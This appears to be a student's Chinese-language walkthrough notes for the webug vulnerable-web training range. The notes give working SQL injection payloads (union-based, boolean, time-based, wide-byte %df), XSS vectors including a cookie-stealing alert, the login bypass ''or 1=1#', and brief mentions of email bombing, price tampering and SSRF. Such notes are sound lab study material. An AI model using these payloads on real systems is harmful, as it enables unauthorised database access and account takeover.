基础知识补充
select schema_name from information_schema.schemate 查询库信息
select table_name from information_schema.tables where table_schema='库名'
select column_name from information_schema.column where table_name ='表名'
select 列名 from 库.表
一.显错注入:攻击流程:
1;判断是否存在sql注入漏洞。
2;判断网页存在字段数。
3;判断回显点。
4;获取信息
1;id=1 and 1=2查看页面是否显示错误 1=1查看是否有逻辑错误,正常就判断有注点。
加入单引号查看是否出错
2;判断字段数’order by 1,2,3,4 发现 3不行 2行 判断字段数为2
3;通过代码执行? 联合查询 id=-1' union select 1,database()--+
4,;带入数据库?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567--+ 得到表名
?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167--+得到flag外部表名
?id=-1' union select 1,flag from webug.flag--+ 得到值
flag查询到为dfafdasfafdsadfa
二,布尔注入:
同样的 先 ' 再--+ 发现’出错 有SQL注点
orderby 一下 发现2 行3 不行
用SQL语句:id=1%27%20and%20length(database())=5--+
确定数据库有5个字符串
进行用SQL语句:?id=1' and left((select flag from webug.flag),1)='a'--+
ABCD的尝试 或用ASCII码来判断 也可用burpsuite的攻击模块
三,延时注入
和布尔注入原理一致即执行语句后正确就延时 不正确就不延时,通过时间判断字符串
使用函数sleep()
四,POST注入
找到post注点 用BP抓取后 找到关键字
更改数据包请求 从而达到获取数据库更多信息
五.过滤注入
没有了解到靶场相关注点,但是可于SQLi-lib上学习,大致方法相当于在过滤语句中添加注释符双写之类的绕过或利用
六.宽字节注入
简单的说就是ASCII码的单字节和其他GBK双字节有冲突,容易将/消除从而注入
最简单的加入%df 简单代码?id=%df%27%20union%20select%201,database()--+
得到数据库webug_width_byte转ASCII码 这里我使用显错注入
id=%df%27%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x77656275675F77696474685F62797465--+
得到两表 sqlinjection,storage_xss 转16进制
73716C696E6A656374696F6E 73746F726167655F787373
select column_name from information_schema.column where table_name =
id,content,id,content显然还有两个表
id,content,userId
求userId
?id=%df%27%20union%20select%201,userId%20from%20webug_width_byte.storage_xss--+
得到userId=1sqlinjection
七.CSV注入
平台并没有相关的靶场训练,但其原理是对于一个XML文件通过新建一个TXT文件使用解码工具解码为XML语言后 进行输入 默认会遍历两个文件生成第三个文件从而达到获取信息效果。
八.XSS
反射型:多在URL中 简单代码<script>alert(document.cookie)</script>
存储型:多在输入的交互区
DOM型:在搜索框中 先闭合前面的语句,后弹出,最后闭合
过滤XSS:用隐秘级标签:<img src=1 οnerrοr=alert(1)>
九.万能密码
'or 1=1#
十.万能下载:
多用于信息收集,可查看网页的绝对路径,从而下载系统中的一些源文件,达到信息收集的目的。
十一.MySQL的配置文件下载。
可以通过报错获得绝对路径 熟悉通用文件存放位置是实现渗透的关键。其他的和万能下载一致
十二.文件上传漏洞:可参考文件上传事要
十三.越权修改密码:用万能密码或者弱口令
十四.恶意收购。抓包改价格 多用于改优惠券价格
十五.邮箱轰炸.repeater进行手动轰炸
十六.越权查看admin,
十七.URL跳转。先抓包
十八文件包含漏洞
十九webshell爆破 先抓包 后用B forcer爆破
最后两关做不了:
命令包含:通过过构造命令拼接来执行额外系统命令,比如代码的IP加入ID
ssrf:服务器端请求伪造;利用一个可以发起网络请求的服务,可以当做跳板来攻击。